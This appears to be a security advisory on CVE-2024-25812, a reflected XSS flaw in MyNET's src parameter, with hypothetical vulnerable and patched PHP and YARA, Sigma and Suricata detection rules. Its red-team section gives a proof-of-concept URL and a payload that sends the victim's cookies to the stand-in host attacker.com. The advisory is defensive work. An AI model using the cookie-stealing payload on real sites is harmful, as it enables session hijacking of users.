CVE-2024-25812

Executive Summary

CVE-2024-25812 is a reflected cross-site scripting (XSS) vulnerability discovered in MyNET, a network management or monitoring application by Mynet, affecting versions up to v26.05. The flaw resides in the src parameter, allowing an attacker to inject arbitrary JavaScript code into a web page returned by the application. This can lead to session hijacking, credential theft, or defacement. No official patch has been confirmed, and no exploit code or Nuclei template is publicly available at this time. The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation).

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It affects a standalone web application (MyNET). No supply chain implications are identified.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating insufficient data for scoring. However, based on the nature of the vulnerability (reflected XSS), a reasonable estimated score would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): Required (R)
• Scope (S): Changed (C)
• Confidentiality (C): Low (L)
• Integrity (I): Low (L)
• Availability (A): None (N)

Estimated CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Estimated Base Score: 6.1 (Medium)

Threat Level: Medium. Exploitation requires user interaction (clicking a crafted link), but the impact can include session theft and data exfiltration.

Deep Dive & Mechanics

The vulnerability is a reflected XSS in the src parameter of MyNET. Reflected XSS occurs when user-supplied data is immediately echoed back in the HTTP response without proper sanitization or encoding. In this case, the src parameter is likely used to specify a resource (e.g., an image or script source) and is directly embedded into the HTML output.

Attack Flow:

1. An attacker crafts a malicious URL containing JavaScript payload in the src parameter, e.g., https://target.com/page?src=<script>alert('XSS')</script>.
2. The attacker sends this link to a victim (via phishing email, social media, etc.).
3. The victim clicks the link while authenticated to MyNET.
4. The MyNET server reflects the malicious script in the response without sanitization.
5. The victim's browser executes the script, allowing the attacker to steal cookies, session tokens, or perform actions on behalf of the victim.

Root Cause: Lack of input validation and output encoding for the src parameter.

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the vulnerable code pattern.

Vulnerable Code (Hypothetical PHP/ASP.NET):

<?php
$src = $_GET['src'];
echo "<img src='$src' />";
?>

Patched Code (Hypothetical):

<?php
$src = $_GET['src'];
$src = htmlspecialchars($src, ENT_QUOTES, 'UTF-8');
echo "<img src='$src' />";
?>

The patch would involve proper output encoding (e.g., htmlspecialchars in PHP, HttpUtility.HtmlEncode in .NET) or input validation (e.g., whitelisting allowed values).

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A vulnerable MyNET instance (up to v26.05).
• A web browser or tool like curl.

Proof-of-Concept (PoC) URL:

http://target.com/vulnerable_page?src=<script>alert('XSS')</script>

Advanced Payload (Session Hijacking):

http://target.com/vulnerable_page?src=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

Lab Setup:

1. Install a vulnerable MyNET version (if available) in a controlled environment.
2. Use a tool like Burp Suite to intercept and modify requests.
3. Craft the malicious URL and send it to a test user (e.g., via a local HTML page).

Blue Team (Defender)

Detection:

• Monitor web server logs for suspicious src parameter values containing <script>, onerror, javascript:, etc.
• Use WAF rules to block common XSS patterns.

Mitigation:

• Apply input validation and output encoding.
• Implement Content Security Policy (CSP) headers.
• Use HTTP-only cookies to reduce session theft risk.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with src parameter containing <script> tags or JavaScript event handlers.
  • Outbound connections to attacker-controlled domains from the victim's browser.
• File IOCs:
  • Web server logs showing repeated requests with encoded XSS payloads.
• Behavioral IOCs:
  • Unexpected redirects or pop-ups in the MyNET interface.

Detection Engineering

YARA Rule

rule CVE_2024_25812_XSS_MyNET {
    meta:
        description = "Detects reflected XSS attempts against MyNET src parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-25812"
    strings:
        $xss_payload = /src=.*(<script|onerror|onload|javascript:)/
    condition:
        $xss_payload
}

Sigma Rule

title: Reflected XSS Attempt Against MyNET src Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads in the src parameter targeting MyNET
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "src="
        c-uri|contains|all:
            - "<script"
            - ">"
    condition: selection
falsepositives:
    - Legitimate use of script tags in src (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-25812 MyNET Reflected XSS Attempt"; flow:to_server; content:"src="; nocase; content:"<script"; nocase; within:100; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable or restrict access to the vulnerable src parameter if possible.
   • Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
   • Monitor logs for exploitation attempts.

2. Long-term Fix:

   • Apply input validation (whitelist allowed values) and output encoding (HTML entity encoding) for the src parameter.
   • Upgrade to a patched version once released by Mynet.
   • Conduct a security audit of the entire application.

3. Compensating Controls:

   • Use Content Security Policy (CSP) headers to restrict script execution.
   • Set cookies with HttpOnly and Secure flags.
   • Educate users about phishing attacks that exploit XSS.

Valters IT